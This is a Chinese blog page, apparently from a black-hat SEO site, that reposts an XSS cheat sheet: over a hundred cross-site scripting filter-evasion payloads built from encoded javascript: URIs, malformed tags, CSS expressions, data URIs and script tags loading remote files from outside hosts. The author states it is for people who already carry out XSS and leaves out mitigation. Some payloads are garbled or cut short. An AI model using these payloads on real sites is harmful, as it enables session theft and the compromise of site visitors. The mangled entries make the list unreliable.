seo全攻略

对网络推广和网络营销的朋友,可以在这相互交流,SEO不只是单指搜索引擎优化和推广,seo只是一个概称,所以各位不要产生概念上的误区,
前些年写的工具书,纰漏较多,最近正在筹备新书....
《seo全攻略》下载地址:http://t.cn/8sRNJel
《黑帽百科》下载地址:
http://t.cn/R45Wf4m
seohat工具地址:
http://t.cn/R45WVyJ

© seo全攻略
Powered by LOFTER

xss总结

(1)普通的XSS JavaScript注入
<SCRIPT SRC=https://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=https://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码(计算器)
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号(计算器)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(13)嵌入式换行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(14)嵌入式回车
<IMG SRC=”jav ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>

(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>

(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
<IMG SRC=”   javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=”https://3w.org/XSS/xss.js”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=”https://3w.org/XSS/xss.js”></SCRIPT>

(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=https://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”

(27)双开角括号
<iframe src=https://3w.org/XSS.html <

(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript
\”;alert(‘XSS’);//

(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=”javascript:alert(‘XSS’);”>

(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
<BODY(‘XSS’)>

(34)IMG Dynsrc
<IMG DYNSRC=”javascript:alert(‘XSS’)”>

(35)IMG Lowsrc
<IMG LOWSRC=”javascript:alert(‘XSS’)”>

(36)BGSOUND
<BGSOUND SRC=”javascript:alert(‘XSS’);”>

(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表
<LINK REL=”stylesheet” HREF=”https://3w.org/xss.css”>

(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS

(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=https://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>

(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>

(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

(52)IMG STYLE方式
exppression(alert(“XSS”))’>

(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”https://3w.org/XSS/xss.swf” ></EMBED>

(56)在flash中使用ActionScrpt可以混进你XSS的代码
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);

(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
<HTML xmlns:xss>
<?import namespace=”xss” implementation=”https://3w.org/XSS/xss.htc”>
<xss:xss>XSS</xss:xss>
</HTML>

(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
<SCRIPT SRC=””></SCRIPT>

(59)IMG嵌入式命令,可执行任意命令
<IMG SRC=”https://www.XXX.com/a.php?a=b”>

(60)IMG嵌入式命令(a.jpg在同服务器)
Redirect 302 /a.jpg https://www.XXX.com/admin.asp&deleteuser

(61)绕符号过滤
<SCRIPT a=”>” SRC=”https://3w.org/xss.js”></SCRIPT>

(62)
<SCRIPT =”>” SRC=”https://3w.org/xss.js”></SCRIPT>

(63)
<SCRIPT a=”>” ” SRC=”https://3w.org/xss.js”></SCRIPT>

(64)
<SCRIPT “a=’>’” SRC=”https://3w.org/xss.js”></SCRIPT>

(65)
<SCRIPT a=`>` SRC=”https://3w.org/xss.js”></SCRIPT>

(66)
<SCRIPT a=”>’>” SRC=”https://3w.org/xss.js”></SCRIPT>

(67)
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”https://3w.org/xss.js”></SCRIPT>

(68)URL绕行
<A HREF=”https://127.0.0.1/”>XSS</A>

(69)URL编码
<A HREF=”https://3w.org”>XSS</A>

(70)IP十进制
<A HREF=”https://3232235521″>XSS</A>

(71)IP十六进制
<A HREF=”https://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八进制
<A HREF=”https://0300.0250.0000.0001″>XSS</A>

(73)混合编码
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>

(74)节省[http:]
<A HREF=”//www.google.com/”>XSS</A>

(75)节省[www]
<A HREF=”https://google.com/”>XSS</A>

(76)绝对点绝对DNS
<A HREF=”https://www.google.com./”>XSS</A>

(77)javascript链接
<A HREF=”javascript:document.location=’https://www.google.com/’”>XSS</A>

 

如果你不知道如何进行XSS攻击,那么本文或许对你没有任何帮助。这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理


解关于绕过过滤的细节问题 的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到


一些最基本的方法来推测剩余的部分。

(介绍部分略,太基础的部分也略,罪过,希望RSnake大牛大人有大量)


不分大小写引起的XSS

Code: <IMG SRC=JaVaScRiPt:alert(‘XSS’)>


包含HTML字符

Code: <IMG SRC=javascript:alert("XSS")>


沉音符混淆(如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞


Code: <IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>


畸形的IMG标签。最初由Beqeek发现(整理精简后可以工作于所有浏览器),该方法利用了松散的图形渲染引擎让我们能在被引号


包围的IMG标签中创建自己的XSS。

Code: <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>


fromCharCode 如果你无法使用引号,你可以使用fromCharCode用于eval函数。

Code: <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>


UTF-8编码

Code: <IMG SRC=j&#97;v&#97;s&#99;ript&#58;&#97;lert&#40;&#39;&#88;&#83;&#83;&#39;&#41;>


Long UTF-8 编码可以不使用分号,这样绕过一些正则检查

Code: <IMG 


SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#


0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>


没有分号的Hex编码

Code:<IMG


SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27


&#x29>


嵌入TAB键进行攻击

Code: <IMG SRC=”jav    ascript:alert(‘XSS’);”>


嵌入编码过后的TAB键

Code: <IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>


嵌入新行可以进行XSS,一些网站上说char 09 – 13都可以为XSS攻击服务,那显然不正确。只有09 10 13才会正常工作。

Code: <IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>

Code: <IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>

Code:

<IMG

SRC

=

j

a

v

a

s

c

r

i

p

t

:

a

l

e

r

t

(

X

S

S

)

>


NULL字符能逃避很多过滤系统

Code: perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

Code: perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out


多余的开放括号。提交弗兰兹泽德尔迈尔,这XSS的载体能战胜某些侦测引擎,通过使用匹配的第一个打开和关闭角括号对和做了


比较,然后在标签内的工作,而 不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签(后解除困


惑,当然)。双斜线意见中提出的结局无关的支架,以制 止JavaScript错误:

Code: <<SCRIPT>alert(“XSS”);//<</SCRIPT>


未关闭的标签

Code: <SCRIPT SRC=https://ha.ckers.org/xss.js?<B>


未关闭的img 或者 iframe标签

Code: <IMG SRC=”javascript:alert(‘XSS’)”


不使用单引号的xss

Code: <SCRIPT>alert(/XSS/.source)</SCRIPT>


各种其他的标签

Code: <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”>

Code: <BODY BACKGROUND=”javascript:alert(‘XSS’)”>

Code: <BODY ONLOAD=alert(‘XSS’)>

Code: <IMG DYNSRC=”javascript:alert(‘XSS’)”>

Code: <BGSOUND SRC=”javascript:alert(‘XSS’);”>

Code: <BR SIZE=”&{alert(‘XSS’)}”>  (netspace)

Code: <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

Code: <LINK REL=”stylesheet” HREF=”https://ha.ckers.org/xss.css”>

Code: <STYLE>@import’https://ha.ckers.org/xss.css’;</STYLE>

Code: <META HTTP-EQUIV=”Link” Content=”<https://ha.ckers.org/xss.css>; REL=stylesheet”>

Code: <STYLE>BODY{-moz-binding:url(“https://ha.ckers.org/xssmoz.xml#xss”)}</STYLE>

Code: <XSS STYLE=”behavior: url(xss.htc);”>

Code: <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

Code: <IMG SRC=”mocha:[code]"> (netscape only)

Code: <IMG SRC="livescript:[code]"> (netscape only)

Code: <TABLE BACKGROUND="javascript:alert('XSS')">

Code: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

Code: <TABLE><TD BACKGROUND="javascript:alert('XSS')">

Code: <DIV STYLE="background-image: url(javascript:alert('XSS'))">

Code: <BASE HREF="javascript:alert('XSS');//">


US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前


仅发现Apache Tomcat是以该方式交互。

Code: ?scriptualert(EXSSE)?/scriptu


META协议

Code:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

Code: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

Code: <META HTTP-EQUIV="refresh" CONTENT="0; URL=https://;URL=javascript:alert('XSS');">


对DIV进行unicode编码

Code: <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a


\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">


使用expression属性

Code: <DIV STYLE="width: expression(alert('XSS'));">


STYLE标签

Code:<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

Code: <STYLE TYPE="text/javascript">alert('XSS');</STYLE>

Code: <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>

Code: <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>


OBJECT标签

Code: <OBJECT TYPE="text/x-scriptlet" DATA="https://ha.ckers.org/scriptlet.html"></OBJECT>

Code: <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert


('XSS')></OBJECT>


EMBED标签

Code: <EMBED SRC="https://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

Code: <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH


A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv


MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs


aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw


IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" 


type="image/svg+xml" AllowScriptAccess="always"></EMBED>

在flash文件中使用如下代码:

Code: a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);


XML namespace可以引入行为文件htc但是必须在同一服务器上

Code: <HTML xmlns:xss>

<?import namespace="xss" implementation="https://ha.ckers.org/xss.htc">

<xss:xss>XSS</xss:xss>

</HTML>

Xss.htc: <PUBLIC:COMPONENT TAGNAME="xss">

<PUBLIC:ATTACH EVENT="ondocumentready" LITERALCONTENT="false"/>

</PUBLIC:COMPONENT>

<SCRIPT>

function main()

{

alert("XSS");

}

</SCRIPT>


使用CDATA模糊化的XML数据岛

Cdoe: <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>

</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>


XML数据岛

Code:<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>


Code: <XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

(xsstest.xml)必须同域下


HTML+ TIME

Code: <HTML><BODY>

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert("XSS")&lt;/SCRIPT&gt;">

</BODY></HTML>

UTF7编码

Code:<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert


('XSS');+ADw-/SCRIPT+AD4-


防止二次执行的expression语句

<a STYLE="x:expression((window.r!=1)?(window.r=1,eval(x.t)):1)">

<x id=x t="alert(0)">


评论